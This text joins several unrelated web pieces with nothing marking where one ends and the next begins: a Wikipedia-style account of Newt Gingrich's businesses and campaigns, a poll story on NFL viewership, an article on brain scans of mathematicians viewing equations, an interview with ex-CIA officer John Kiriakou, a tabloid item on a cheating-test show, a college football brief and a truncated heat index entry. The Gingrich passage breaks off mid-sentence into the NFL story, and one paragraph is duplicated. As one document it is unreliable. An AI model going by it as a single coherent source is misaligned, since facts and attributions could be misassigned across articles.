Between 2008 and 2011, the company produced three films on religion,[135] one on energy, one on Ronald Reagan, and one on the threat of radical Islam. All were joint projects with the conservative group Citizens United.[136] In 2011, Newt and Callista appeared in A City Upon a Hill, on the subject of American exceptionalism.[137]
As of May 2011, the company had about five employees. In 2010, it paid Gingrich more than $2.4 million.[127]
Gingrich Communications [ edit ]
Gingrich Communications promoted Gingrich's public appearances, including his Fox News contract and his website, newt.org.[130] Gingrich received as much as $60,000 for a speech, and did as many as 80 in a year.[125] One of Gingrich's nonprofit groups, Renewing American Leadership, which was founded in March 2009,[136] paid Gingrich Communications $220,000 over two years; the charity shared the names of its donors with Gingrich, who could use them for his for-profit companies.[138] Gingrich Communications, which employed 15 people at its largest, closed in 2011 when Gingrich began his presidential campaign.[130]
Other [ edit ]
Celebrity Leaders is a booking agency that handled Gingrich's speaking engagements, as well as those other clients such as former Republican National Committee chair Michael Steele and former Pennsylvania Senator Rick Santorum. [124] Kathy Lubbers, the President and CEO of the agency, [139] who is Gingrich's daughter, owns the agency. Gingrich has shares in the agency, and was paid more than $70,000 by it in 2010. [140]
Kathy Lubbers, the President and CEO of the agency, who is Gingrich's daughter, owns the agency. Gingrich has shares in the agency, and was paid more than $70,000 by it in 2010. FGH Publications handles the production of and royalties from fiction books co-authored by Gingrich.[130]
Political activity [ edit ]
Between 2005 and 2007, Gingrich expressed interest in running for the 2008 Republican presidential nomination.[141] On October 13, 2005, Gingrich suggested he was considering a run for president, saying, "There are circumstances where I will run", elaborating that those circumstances would be if no other candidate champions some of the platform ideas he advocates. On September 28, 2007, Gingrich announced that if his supporters pledged $30 million to his campaign by October 21, he would seek the nomination.[citation needed]
However, insisting that he had "pretty strongly" considered running,[142] on September 29 spokesman Rick Tyler said that Gingrich would not seek the presidency in 2008 because he could not continue to serve as chairman of American Solutions if he did so.[143] Citing campaign finance law restrictions (the McCain-Feingold campaign law would have forced him to leave his American Solutions political organization if he declared his candidacy), Gingrich said, "I wasn't prepared to abandon American Solutions, even to explore whether a campaign was realistic."[144]
During the 2009 special election in New York's 23rd congressional district, Gingrich endorsed moderate Republican candidate Dede Scozzafava, rather than Conservative Party candidate Doug Hoffman, who had been endorsed by several nationally prominent Republicans.[145] He was heavily criticized for this endorsement, with conservatives questioning his candidacy for President in 2012[146][147] and even comparing him to Benedict Arnold.[148]
2012 presidential campaign [ edit ]
Newt Gingrich Speaking at CPAC in February 2012
In late 2008 several political commentators, including Marc Ambinder in The Atlantic[149] and Robert Novak in The Washington Post,[150] identified Gingrich as a top presidential contender in the 2012 election, with Ambinder reporting that Gingrich was "already planting some seeds in Iowa, New Hampshire". A July 2010 poll conducted by Public Policy Polling indicated that Gingrich was the leading GOP contender for the Republican nomination with 23% of likely Republican voters saying they would vote for him.[151]
Describing his views as a possible candidate during an appearance on On the Record with Greta Van Susteren in March 2009, Gingrich said, "I am very sad that a number of Republicans do not understand that this country is sick of earmarks. [Americans] are sick of politicians taking care of themselves. They are sick of their money being spent in a way that is absolutely indefensible... I think you're going to see a steady increase in the number of incumbents who have opponents because the American taxpayers are increasingly fed up."[152]
On March 3, 2011, Gingrich officially announced a website entitled "Newt Exploratory 2012" in lieu of a formal exploratory committee for exploration of a potential presidential run.[153] On May 11, 2011, Gingrich officially announced his intention to seek the GOP nomination in 2012.[citation needed]
On June 9, 2011, a group of Gingrich's senior campaign aides left the campaign en masse, leading to doubts about the viability of his presidential run.[154] On June 21, 2011, two more senior aides left.[155][156]
In response, Gingrich stated that he had not quit the race for the Republican nomination, and pointed to his experience running for 5 years to win his seat in Congress, spending 16 years helping to build a Republican majority in the house and working for decades to build a Republican majority in Georgia.[157] Some commentators noted Gingrich's resilience throughout his career, in particular with regards to his presidential campaign.[158][159]
Gingrich at a political conference during his 2012 presidential bid, in Orlando, Florida
After then-front-runner Herman Cain was damaged by allegations of past sexual harassment, Gingrich gained support, and quickly became a contender in the race, especially after Cain suspended his campaign. By December 4, 2011, Gingrich was leading in the national polls.[160] However, after an abundance of negative ads run by his opponents throughout December, Gingrich's national polling lead had fallen to a tie with Mitt Romney.[161]
On January 3, 2012, Gingrich finished in fourth place in the Iowa Republican caucuses, far behind Rick Santorum, Romney, and Ron Paul.[162] On January 10, Gingrich finished in fifth place in the New Hampshire Republican primary, far behind Romney, Santorum, Jon Huntsman, and Paul.[163][164]
After the field narrowed with the withdrawal from the race of Huntsman and Rick Perry, Gingrich won the South Carolina Republican primary on January 21, obtaining about 40% of the vote, considerably ahead of Romney, Santorum and Paul.[165] This surprise victory allowed Gingrich to reemerge as the frontrunner once again heading into Florida.[citation needed]
On January 31, 2012, Gingrich placed second in the Republican Florida primary, losing by a fifteen percentage point margin, 47% to 32%. Some factors that contributed to this outcome include two strong debate performances by Romney (which were typically Gingrich's strong suit), the wide margin by which the Gingrich campaign was outspent in television ads,[166] and a widely criticized proposal by Gingrich to have a permanent colony on the moon by 2020 to reinvigorate the American Space Program.[167]
It was later revealed Romney had hired a debate coach to help him perform better in the Florida debates.[168][169]
Gingrich did, however, significantly outvote Santorum and Paul. On February 4, 2012, Gingrich placed a distant second in the Nevada Republican caucuses with 21%, losing to Romney who received over 50% of the total votes cast.[170]
On February 7, 2012, Gingrich came in last place in the Minnesota Republican caucuses with about 10.7% of the vote. Santorum won the caucus, followed by Paul and Romney.[171][172]
On Super Tuesday Gingrich won his home state, Georgia, which has the most delegates, in "an otherwise dismal night for him". Santorum took Tennessee and Oklahoma, where Gingrich had previously performed well in the polls, though Gingrich managed a statistical second place showing in Oklahoma.[173]
On April 4, the Rick Santorum campaign shifted its position and urged Gingrich to drop out of the race and support Santorum.[174]
On April 10, Santorum announced the suspension of his campaign.[175] Following this announcement, The Newt 2012 campaign used a new slogan referring to Gingrich as "the last conservative standing". Despite this, on April 19, Gingrich told Republicans in New York that he would work to help Romney win the general election if Romney secured the nomination.[176]
After a disappointing second place showing in the Delaware primary on April 24, and with a campaign debt in excess of $4 million,[177] Gingrich suspended his campaign and endorsed front-runner Mitt Romney on May 2, 2012,[178] on whose behalf he subsequently campaigned (i.e. stump speeches and television appearances).[citation needed]
Gingrich later hosted a number of policy workshops at the GOP Convention in Tampa presented by the National Republican Committee called "Newt University".[179] He and his wife Calista addressed the convention on its final day with a Ronald Reagan-themed introduction.[citation needed]
In 2016, Newt Gingrich filed a debt settlement plan document with the Federal Election Commission indicating his 2012 presidential campaign would pay zero dollars toward the more than $4.6 million in unpaid debts owed to 114 businesses and consultants.[180]
2016 Donald Trump presidential campaign [ edit ]
Gingrich supported Trump more quickly than many other establishment Republicans.[181] After having consulted for Donald Trump's 2016 campaign, Gingrich encouraged his fellow Republicans to unify behind Trump, who had by then become the presumptive Republican presidential nominee.[182] Gingrich reportedly figured among Trump's final three choices to be his running mate;[183][184] the position ultimately went to Governor of Indiana Mike Pence.[185]
Following Trump's victory in the presidential election, speculation arose concerning Gingrich as a possible Secretary of State, or Chief of Staff, or advisor.[186] Eventually, Gingrich announced that he would not be serving in the cabinet. He stated that he didn't have the interest in serving in any role related to the Trump administration, stressing that as a private citizen he would engage with individuals for "strategic planning" rather than job-seeking.[187]
In May 2017, he promoted a conspiracy theory that Hillary Clinton and the Democratic Party had Seth Rich, an employee for the Democratic National Committee, killed during the 2016 presidential race.[188]
Gingrich and his wife alongside President Donald Trump, 24 October 2017
Gingrich attended his wife's swearing-in as U.S. Ambassador to the Holy See at the White House in October 2017.[189]
Political positions [ edit ]
Gingrich in 2014, addressing a group of conservatives
Gingrich is most widely identified with the 1994 Contract with America.[190] He is a founder of American Solutions for Winning the Future. More recently, Gingrich has advocated |
her grandson from playing football after watching the movie "Concussion," a film based on the true story of a doctor's struggle to get the NFL to recognize the threat of CTE. Hendershot still watches two or three NFL games a week, reconciling the health risks players accept because of the financial incentive.
"What I struggle with is the fact that they are adult men and they should be making good choices for their long-term health," Hendershot said. "But since it is their long-term health, I shouldn't be expected to pay for it. I don't have a problem watching it if they are dumb enough to make those choices for the big bucks."
While football has retained its popularity, at least some Americans are turning away. More than 1 in 5, 23 percent, say their interest in professional football has decreased in recent years, up from 13 percent in 2012. When asked an open-ended question about why their interest had decreased, 24 percent cite politics, including 17 percent naming the national anthem protests that Kaepernick initiated last preseason. Some 10 percent of those with decreased interest say there are too many penalties or delays. Just 7 percent cite injuries.
[Analysis: Kaepernick remains unemployed, and that’s a bad look for the NFL]
The poll finds 45 percent of Americans say the NFL is doing "too little" to prevent concussions and head injuries among players while 40 percent say they are doing the right amount. That marks a shift from 2011, when an Associated Press survey found 57 percent saying the NFL is doing the right amount.
Concerns about head injuries rank as the biggest problem tested in the survey, but the Post-UMass Lowell poll also finds roughly 6 in 10 sports fans say violent crime and domestic violence committed by players are major problems for the sport. Among lesser concerns, 40 percent say players being paid too much is a major problem, followed by 36 percent who say the same about players speaking out about politics and about 2 in 10 who say low quality of play or the number of penalties during games are major problems.
Television ratings dipped last season, dropping 9 percent in the regular season and 6 percent in the playoffs. CBS Sports Chairman Sean McManus pointed to several factors that suggest the decrease was temporary.
The biggest reason NFL ratings dropped, McManus said, was the attention viewers paid to the presidential election instead. He also cited the absence of Peyton Manning (retirement), Tom Brady (four-game suspension) and J.J. Watt (injury); the appeal of the Chicago Cubs' World Series run; and a string of non-competitive prime-time games.
"I think those are all factors that contribute to it," McManus said. "Listen, I think the ratings will come back. You've got to look at this relatively speaking: The NFL ratings are still, far and away, the most attractive programming in all of television by a huge margin. So the fact that ratings were down marginally are still of concern. We'd rather be up than down, but nobody is panicking and saying the NFL is slipping in terms of its popularity or in terms of its dominance, relatively speaking to what else is on in television."
[2017 NFL Power Rankings: The New England Patriots have lapped the field]
The Post-UMass Lowell poll was conducted Aug. 14-21 among a random national sample of 1,000 adults reached on cellular and landline phones. The margin of sampling error for overall results is plus or minus 3.7 percentage points and is 4.7 points among the sample of 598 football fans.
Demographic breakdowns of Americans' responses revealed several striking results. While 14 percent of football fans from the South say their interest in professional football has decreased in recent years, this rises to 26 percent in the West.
Nearly a quarter of suburban football fans (24 percent) say their interest in pro football decreased, compared with 12 percent of urban fans.
Among non-white pro football fans, 29 percent say their interest has increased, while 11 percent say it has decreased. Conversely, 17 percent of white football fans say their interest has increased, while a similar 22 percent say it has decreased.
Overall, Americans cited rooting for their favorite team, socializing with friends and "the action of the game" as their biggest reasons for watching. Far fewer cite hard hits and tackling or keeping up with their fantasy football team.
"Look, you got mothers worrying about kids," said former NFL linebacker Ray Lewis, now an analyst for Showtime's "Inside the NFL." "You worry about that. You got to think about it like this: I guarantee across the [country], in every state, there's these babies waking up every day. You know what their dream is? 'Man, I get to play football this Saturday. I get to go to football practice.' That passion they display is something we will never get by."
Emily Guskin contributed to this report.GREAT works of art such as Turner’s paintings, Mozart’s concertos or Rodin’s sculptures delight many. Others get their kicks elsewhere. According to the philosopher Betrand Russell, for example, “mathematics, rightly viewed, possesses not only truth, but supreme beauty”. Plato thought along similar lines—nothing without understanding could be more beautiful than with understanding—making maths matchless in his eyes.
A new study published in Frontiers of Human Neuroscience, authored by three academics from the University of London—Semir Zeki and John Paul Romaya from University College and Dionigi Benincasa from Imperial College—alongside Michael Atiyah from the University of Edinburgh, has found that the brain activity of mathematicians looking at equations correlates with the same area of the emotional brain which many previous studies (including those of the authors) have reported as active during the experience of beauty in other domains. In other words, formulae can thrill in the way that visual art and music do.
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Functional magnetic resonance imaging (fMRI) showed that maths and art excite the same cerebral area: field A1 of the medial orbito-frontal cortex. This in spite of the fact that mathematical beauty derives from intellectual sources whereas, for example, the tears induced by Manon Lescaut’s misery stem from experiencing the opera itself.
Thirteen male and three female mathematicians studying at postgraduate or postdoctoral level participated in the study, as did 12 other volunteers not so mired in maths. The more numerate were asked to rate 60 formulae on a scale from -5 (ugly) to +5 (beautiful) in a survey, allowing the creation of four groups of equations with equal numbers of low, medium and high-rated formulae. The mathematicians then viewed the groupings while having their brains scanned, and were asked to judge whether a formula appeared “ugly”, “neutral” or “beautiful” to them.
A few days after the scanning, participants reported their level of understanding for each formula on a scale from 0 (none) to 3 (profound). The whole process was then repeated for the participants not studying maths.
The first formula below, Leonhard Euler’s identity (which links five fundamental mathematical constants with three basic arithmetic operations, each occurring once) was most consistently rated as beautiful with an average score of 0.8667.
The second, Srinivasa Ramanujan’s infinite series for 1/π, was the least popular with an average score of -0.7333.
One of the most difficult problems involved deciphering beauty from understanding in the study. This was possible for the group of mathematicians, but tricky with the other participants as to separate comprehension from beauty altogether, a group entirely illiterate in maths would have needed to be assembled, actually “a very difficult task” according to Professor Zeki.
Of the 720 equations distributed across the 12 non-mathematicians, 89.6% rang no intellectual bells whatsoever. Nevertheless, less-well understood formulae led to more intense cerebral activity in visual areas.
Hubub in field A1 of mathematical brains suggests then that, neurobiologically, there is an abstract quality to beauty independent of culture and learning. But as other instances of cerebral activity could not be accounted for by understanding, another question arises from the study: could beauty, even in maths, point to what is true in nature?
Perhaps the mathematical formulations of Hermann Weyl, which tried to reconcile electromagnetism with relativity, are a case in point. Pooh-poohed by Einstein because they were thought to conflict with experimental evidence, the formulations were accepted only after re-interpretation in the light of quantum mechanics.
Weyl may prove a model for others wanting to explore the relationship between brains, beauty and the beyond. As he is reported to have said: “My work always tried to unite the true with the beautiful; but when I had to choose one or the other, I usually chose the beautiful.”
Which turned out to be true, anyway.John Kiriakou is the only CIA employee to go to prison in connection with the agency’s torture program. Not because he tortured anyone, but because he revealed information on torture to a reporter.
Kiriakou is the Central Intelligence Agency officer who told ABC News in 2007 that the CIA waterboarded suspected al-Qaeda prisoners after the September 11 attacks, namely Abu Zubaydah, thought to be a key al Qaeda official. Although he felt at the time that waterboarding probably saved lives, Kiriakou nevertheless came to view the practice as torture and later claimed he unwittingly understated how many times Zubaydah was subjected to waterboarding.
In January 2012, Kiriakou was charged by the Justice Department for allegedly and repeatedly disclosing classified information to journalists. The Justice Department accused Kiriakou of disclosing the identity of a CIA officer involved in Zubaydah’s capture to a freelance reporter. The reporter did not publicly reveal the official’s name, but his name did appear on a website in October 2012. Kiriakou also allegedly provided New York Times reporter Scott Shane information on CIA employee Deuce Martinez, who was involved in Zubaydah’s capture and interrogation.
After agreeing to a plea deal in October 2012, Kiriakou was sentenced in January 2013 to 30 months in prison. That sentence made him the second CIA employee ever to be locked up under the Intelligence Identities Protection Act, which bars the release of the name of a covert agent; the first was Sharon Scranage, who in 1985 pled guilty to disclosing the identities of intelligence agents in Ghana after giving classified information to a Ghanaian, reportedly her lover.
Kiriakou is not without support from former colleagues. His friend and former boss, Bruce Riedel, sent a letter to President Obama, signed by other CIA officers, urging him to commute Kiriakou’s prison sentence. That did not happen.
A father of five children, Kiriakou says the CIA asked his wife to resign from her job at the agency immediately following his arrest, and he is in major debt from his legal fees.
Kiriakou is is scheduled for early transfer out of federal prison in Loretto, Pennsylvania on February 3. In a wide-ranging phone interview with The Intercept, Kiriakou, 50, shared his thoughts on the Senate Intelligence Committee report on CIA interrogation techniques, on his incarceration, and on his future after prison.
You don’t have access to the internet in prison, so have you been able to see just one page of the Senate Intelligence Committee’s report?
Well, my cousin ended up printing the entire thing and sent it to me. Yeah, he sent it to me in five different envelopes.
So was there anything in the report that surprised you? Did you feel even more despair at being the only CIA officer jailed since the program came into existence?
One thing that I think most everybody has missed is, we knew about the waterboarding, we knew about the cold cells, we knew about the loud music and the sleep deprivation. We knew about all the things that have been ‘approved’ by the Justice Department. But what we didn’t know was what individual CIA officers were doing on their own without any authorization. And I would like to know why those officers aren’t being prosecuted when clearly they’ve committed crimes and those crimes were well documented by both the CIA and the Senate Committee of Intelligence.
One thing that certainly was an eye opener, even to close observers of this program, was the brutal treatment of these prisoners. The tragic death of Gul Rahman, an Afghan, comes to mind.
Gul Rahman is probably the best example. The man was murdered in cold blood, so where’s the prosecution? You come home, you murder somebody in cold blood, you get a promotion and a $2,500 bonus. That is not the message we ought to be sending.
There have been some who have tried to exempt George W. Bush from any blame from the program. They claim that he knew about the specifics in 2006, as the report mentions. Do you agree with that assessment from those defending him?
That’s just simply not true. They knew about it all the way up to the top. I remember sitting at a meeting with one of the top three officials at the CIA when the program was approved. And throughout the conversation, he kept on saying, “I can’t believe the president signed off on that program. I can’t believe it.” He kept saying it. Because it was so radical and violent that even internally we didn’t think there would be permission forthcoming. And there was. And it got out of hand, and it was a slippery slope and the ball kept rolling down the hill. And the next thing you know, we’re killing people.
As a CIA agent for 18 years, what is your summary of this program from both an operating perspective and a moral one?
When I was in the counter terrorism center, an official came up to me and asked me if I wanted to be certified in the enhanced interrogation techniques. And I said, “Look, I have a moral problem with this. I think there’s a slippery slope, I think somebody is going to get killed. There’s going to be an investigation. And a bunch of people are going to go to prison, and I don’t want any part of it.” And ironically, I was the only one who went to prison.
After almost two decades of service, can you talk about the most stressful situation you have been in?
I came within a quarter of a mile of being killed. Twice, twice, I have survived assassination attempts. Once in the Middle East, I wrote about it in my book. And then in Greece. And in Greece, instead of killing me, they killed [British military attaché] Stephen Saunders because he was a quarter of a mile ahead of me [in June 2000]. And they said in their communiqué that they saw me in my car but they knew it was armored and that I was armed. And Stephen Saunders was just in his vehicle he shipped from London and he didn’t have a gun on him. And they killed him instead.
I’ve devoted my whole entire, adult life to the national security. And I’ll go to my grave knowing that I did the right thing.
Now that you have seen the report, did the “rectal hydration” shock you as another detail you didn’t know?
Sickening. I can’t imagine under any circumstances a justification for something like that. There are ways to hydrate prisoners, there are ways to provide nourishment for prisoners who are on hunger strikes. It’s not by shoving hummus up their asses. That’s not how you provide nutrition for somebody that’s in your custody. That was shocking to me.
Another startling detail was the $81 million dollars given to a company set up by two psychologists, James Mitchell and Bruce Jessen. Did you know anything about these two figures?
I remember those guys very well. They had two little offices in the back. The counter terrorism center is a very, very enormous office. It’s a cubicle farm. Everyone else is in a cubicle. But there are private offices around the edges, along the walls. And those guys just sort of showed up one day and got private offices. And yeah, we were like, who were these guys? They’re not even blue badgers, they’re not even staff employees. They’re green badgers, they’re contractors. And we were told, don’t ask questions about those guys.
Did the gruesome conditions at the Salt Pit and other torture sites surprise you?
I had no idea. That was a revelation. I actually took a tour of the new Bagram prison when I was with the Senate Foreign Relations Committee. Man, that was a nice place. It was great. In many ways, it’s better than what we have here [in Loretto]. But the fact of the matter is that we weren’t housing prisoners in that prison. We were housing them in a dungeon on the other side of the base that has been called a ‘salt pit.’ There were atrocities taking place at the ‘salt pit.’
That fancy prison that we spent millions and millions of tax payer dollars on is completely empty.
Editor’s note: The Bagram detention center was closed in December 2014. It remains unclear what the balance of prisoners was between that facility and the so-called “Salt Pit,” a CIA black site, when both were operational.
Jose Rodriguez, the former director of the CIA’S National Clandestine Service, apparently went against the wishes of his own agency’s lawyers over adequately screening potential interrogators. When they expressed concern over his selection process, he replied, ‘It is simply not your job.’ What are your thoughts on this?
He’s the worst of the worst. With Jose Rodriguez especially, here you have a guy who made the decision to make the tapes… He’s the one who ordered the tapes be made of CIA officers torturing first Abu Zubaydah and others after him. And then he gets promoted to deputy director for operations and he makes the decision to destroy the tapes after being specifically told by (then Senior Deputy General Counsel) John Rizzo don’t destroy the tapes. And he did it anyway. There’s no fallout or punishment. There’s no nothing.
Editor’s note: It’s been reported that the decision to tape the CIA interrogations “was made in the field.” The tapings began taking place roughly around the time Rodriguez became director of the CIA’s Counterterrorism Center. Rodriguez said in a 60 Minutes interview, “The reason why we taped Abu Zubaydah was because….we wanted to show the world that we actually had nothing to do with his death.” It’s not clear if he personally decided to make the tapes.
After the House Intelligence Committee heard closed testimony from Rizzo, the committee’s senior Republican member, Peter Hoekstra, stated of Rodriguez, “it appears that he got direction to make sure the tapes were not destroyed.” At the time, Rodriguez’s lawyer disputed that account, saying that “nobody, to our knowledge, ever instructed him not to destroy the tapes.”
Advocates of the detention and interrogation program, like Dick Cheney, continue to publicly defend the CIA programs, and have labeled the torture report as a partisan witch hunt. He has also said they would still implement the program if they had to do everything all over again.
The reason why these guys are on TV all the time, aside from the fact that the corporate media allows them to be, is that torture is their legacy. When their obituaries are written, their obituaries are going to be about torture and their role in it. And they’re desperately trying to spin the story to make it seem like they were patriots and not criminals. It’s utterly nonpartisan. The Senate Committee on Intelligence used primary source information. They used the original CIA cables to come up with this report. Those cables are not partisan, those cables don’t tell one side of the story. The cables are the actual information written as it was happening. So to call it partisan is just simply untrue. It’s not partisan. What’s partisan is that a certain group of political leaders doesn’t want the organization, the agency, to take responsibility for their actions.
You told the RT network in 2013 that you would lose a lot of friends inside the CIA for your actions. Has that still been the case?
I was wrong in what I said to [RT host] Abby Martin. It turned out that the number of CIA friends who walked away from me, I can count on one hand. I’m going to say three dozen CIA officers have written to me here and almost all of them are regular correspondents. My former colleagues at the CIA have rallied for me. It’s been wonderful. Now a lot of them can’t use their names. Some of them are undercover, some of them just don’t want the heat. But they’ve been wonderful. I just have no complaints at all. And some of them are senior CIA officials.
How are your children doing? Do they have the main idea about the decisions you’ve made and what has happened to you as their father?
My two older boys are in college. One’s finishing his senior year at Ohio State and the other is at Cleveland State as a freshman. So they saw all of this, the whole process, and they understood what was happening. But even my little kids (as well). I have a ten-year-old boy, and eight year old girl and a three year old boy. The ten year old and eight year old have very hard felt opinions on things like the FBI and torture. They saw the FBI completely surrounding our house 24 hours a day just like I did. They aren’t blind. They saw the FBI come into the house and take all of our electronics. Had the FBI following us to Target, Applebees and to church.
So what does a former CIA agent do after getting out of prison and no longer being able to work for the agency?
As part of this conviction, I lost my pension. I had $770,000 saved in that pension. And it’s just gone. So, I’ve got to start rebuilding. And I still owe my lawyers almost a million dollars.
I have a temporary job when I get out, doing some business development work for a medical group. But it’s just a temporary position. What I’d like to do is go to a think tank. I like to write and speak and teach, and I think that’s the best fit for me. I got to take things slowly, get back on my feet again. But it’s been hard.
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Relationship wisdom and several pop songs frequently say trust is a key ingredient.
Trust is like a mirror. Trust is like a piece if paper. Trust is like a rubber. You get the picture - once broken, crumpled or worn down, it's probably not coming back.
Equally, misplaced suspicion isn't ideal. So, if you decide to test someone, then - your own neuroses aside - you're probably on shaky ground.
One star-crossed lover entered such shaky ground recently when, rather than just go through her boyfriend's phone like regular person, she hired porn star Valerie White to essentially honey-trap him.
As you've probably guessed, it did not end well.
The entire debacle was caught on To Catch a Cheater and documented how it unravelled, rather spectacularly.
Initially, the boyfriend had no interest in Valerie's charms, and did not respond to her flirtations. However, he did eventually politely offer to help her, as she seemed "lost".
Tenacious Valerie kept gunning for his phone number, and asked him if he had a girlfriend. The poor man admitted that he was seeing someone, and innocently suggested they could all get together and hang out.
(Image: Youtube/To catch a cheater)
Flustered by Valerie clearly insinuating she'd be up for a cheeky ménage à trois, the man left the scene after asking her why she was interested in him.
As for the girlfriend?
She admitted to "feeling crazy" and "mixed feelings" about her boyfriend giving the porn star his number and added how she hated her for pursuing her boyfriend.
She finally relents: ""Okay, okay. I'm not going to break up with him but I don't like that he got her number and said he would hang out."
(Image: Youtube/To catch a cheater)
But.... as soon as she told him about the set-up, it didn't end well. AT ALL.
Moments later, she's all smiles as she gives her man a call - but she hadn't counted on how he'd react.
Yep, he dumped her immediately for doubting him and questioning their trust so publicly.
He tells her he's done, hangs up on her, as she's left saying: "Are you f***ing kidding me? That's how he breaks up with me after a f***ing year?"ATHENS — Georgia star tailback Sony Michel is expected to be available for the Rose Bowl after undergoing an MRI for an injured knee.
“Everything looks good. A little bit of soreness,” Georgia coach Kirby Smart said Sunday. “He should be good to go.”
Michel left the SEC championship early in the second half after injurying his knee. He finished the game with 45 rushing yards on seven carries and 38 receiving yards on two catches. His 32-yard catch-and-run set up the go-ahead field goal in the second quarter.
The third-leading rusher in school history, Michel enters the playoff with 3,359 career rushing yards, trailing only teammate Nick Chubb and Herschel Walker.
Smart also said that senior Malkom Parrish missed the game with a “lower extremity injury.” There was no immediate word on his availability.The heat index (HI) or humiture is an index that combines air temperature and relative humidity, in shaded areas, to posit a human-perceived equivalent temperature, as how hot it would feel if the humidity were some other value in the shade. The result is also known as the "felt air temperature", "apparent temperature", "real feel" or "feels like". For example, when the temperature is 32 °C (90 °F) with 70% relative humidity, the heat index is 41 °C (106 °F). This heat index temperature has an implied (unstated) humidity of 20%. This is the value of relative humidity for which the heat index number equals the actual air temperature.
The human body normally cools itself by perspiration, or sweating. Heat is removed from the body by evaporation of that sweat. However, high relative humidity reduces the evaporation rate. This results in a lower rate of heat removal from the body, hence the sensation of being overheated. This effect is subjective, with different individuals perceiving heat differently for various reasons (such as differences in body shape, metabolic differences, differences in hydration, pregnancy, menopause, effects of drugs and/or drug withdrawal); its measurement has been based on subjective descriptions of how hot subjects feel for a given temperature and humidity. This results in a heat index that relates one combination of temperature and humidity to another.
Because the humidity index is based on temperatures in the shade, while people often move across sunny areas, then the heat index can give a much lower temperature than actual conditions of typical outdoor activities. Also, for people exercising or active, at the time, then the heat index could give a temperature lower than the felt conditions. For example, with a temperature in the shade of only 28 °C (82 °F) at 60% relative humidity, then the heat index would seem 29 °C (84 °F), but movement across sunny areas of 39 °C (102 °F), would give a heat index of over 58 °C (136 °F), as more indicative of the oppressive and sweltering heat. Plus when actively working, or not wearing a hat in sunny areas, then the feels-like conditions would seem even hotter. Hence, the heat index could seem unrealistically low, unless resting inactive (idle) in heavily shaded areas.
History [ edit ]
The heat index was developed in 1978 by George Winterling as the "humiture" and was adopted by the US's National Weather Service a year later.[1] It is derived from work carried out by Robert G. Steadman.[2][3] Like the wind chill index, the heat index contains assumptions about the human body mass and height, clothing, amount of physical activity, thickness of blood, sunlight and ultraviolet radiation exposure, and the wind speed. Significant deviations from these will result in heat index values which do not accurately reflect the perceived temperature.[4]
In Canada, the similar humidex (a Canadian innovation introduced in 1965)[5] is used in place of the heat index. While both the humidex and the heat index are calculated using dew point, the humidex uses a dew point of 7 °C (45 °F) as a base, whereas the heat index uses a dew point base of 14 °C (57 °F). Further, the heat index uses heat balance equations which account for many variables other than vapor pressure, which is used exclusively in the humidex calculation. A joint committee[who?] formed by the United States and Canada to resolve differences has since been disbanded.[citation needed]
The heat index is referenced to any combination of air temperature and humidity where the partial pressure of water vapor is equal to a baseline value of 1.6 kilopascals [kPa] (0.23 psi). For example, this corresponds to an air temperature of 25 °C (77 °F) and relative humidity of 50% in the sea-level psychrometric chart. At standard atmospheric pressure (101.325 kPa), this baseline also corresponds to a dew point of 14 °C (57 °F) and a mixing ratio of 0.01 (10 g of water vapor per kilogram of dry air).[2]
A given value of relative humidity causes larger increases in the heat index at higher temperatures. For example, at approximately 27 °C (81 °F), the heat index will agree with the actual temperature if the relative humidity is 45%, but at 43 °C (109 °F), any relative-humidity reading above 18% will make the heat index higher than 43 °C.
It has been suggested that the equation described is valid only if the temperature is 27 °C (81 °F) or more, and the relative humidity is 40% or more.[6] However, a recent analysis by iWeatherNet found the assumption to be erroneous given that the heat index/relative humidity relationship and the corresponding equilibrium temperature (the point at which the air temperature and the heat index are equal) are nonlinear. The heat index and humidex figures are based on temperature measurements taken in the shade and not the sun, so extra care must be taken while in the sun. The heat index also does not factor in the effects of wind, which lowers the apparent temperature, unless the air is above body temperature.
Sometimes the heat index and the wind chill are denoted collectively by the single term apparent temperature, "relative outdoor temperature", or "feels like".
Meteorological considerations [ edit ]
Outdoors in open conditions, as the relative humidity increases, first haze and ultimately a thicker cloud cover develops, reducing the amount of direct sunlight reaching the surface. Thus, there is an inverse relationship between maximum potential temperature and maximum potential relative humidity. Because of this factor, it was once believed that the highest heat index reading actually attainable anywhere on Earth was approximately 71 °C (160 °F). However, in Dhahran, Saudi Arabia on July 8, 2003, the dew point was 35 °C (95 °F) while the temperature was 42 °C (108 °F), resulting in a heat index of 78 °C (172 °F).[7]
Table of values [ edit ]
The table below is from the U.S. National Oceanic and Atmospheric Administration. The columns begin at 80 °F (27 °C), but there is also a heat index effect at 79 °F (26 °C) and similar temperatures when there is high humidity.
NOAA national weather service: heat index Tempera-
ture Relative
